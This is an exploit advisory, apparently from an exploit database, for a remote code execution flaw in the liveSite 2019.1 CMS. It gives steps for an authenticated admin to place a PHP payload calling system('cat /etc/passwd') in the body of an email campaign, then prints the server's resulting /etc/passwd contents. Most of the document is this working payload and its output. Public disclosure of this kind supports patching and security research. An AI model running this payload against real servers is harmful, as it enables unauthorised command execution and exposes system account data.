liveSite Version 2019.1 - Remote Code Execution

## Exploit Title: liveSite Version : 2019.1 Campaigns Remote Code Execution
### Date: 2024-1-9
### Exploit Author: tmrswrr
### Category: Webapps
### Vendor Homepage: https://livesite.com/
### Version : 2019.1
### Tested on: https://www.softaculous.com/apps/cms/liveSite

1 ) Login with admin cred Click Campaigns  >  Create Campaign > Choose format Plain Text , write in body  your payload : https://127.0.0.1/liveSite/livesite/add_email_campaign.php
 
    Payload : <?php echo system('cat /etc/passwd'); ?>

2 ) After save you will be see result : 

    Result: root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin systemd-bus-proxy:x:999:998:systemd Bus Proxy:/:/sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin polkitd:x:998:997:User for polkitd:/:/sbin/nologin tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin chrony:x:997:995::/var/lib/chrony:/sbin/nologin soft:x:1000:1000::/home/soft:/sbin/nologin saslauth:x:996:76:Saslauthd user:/run/saslauthd:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin emps:x:995:1001::/home/emps:/bin/bash named:x:25:25:Named:/var/named:/sbin/nologin exim:x:93:93::/var/spool/exim:/sbin/nologin vmail:x:5000:5000::/var/local/vmail:/bin/bash pinguzo:x:992:992::/etc/pinguzo:/bin/false webuzo:x:987:987::/home/webuzo:/bin/bash apache:x:986:985::/home/apache:/sbin/nologin mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false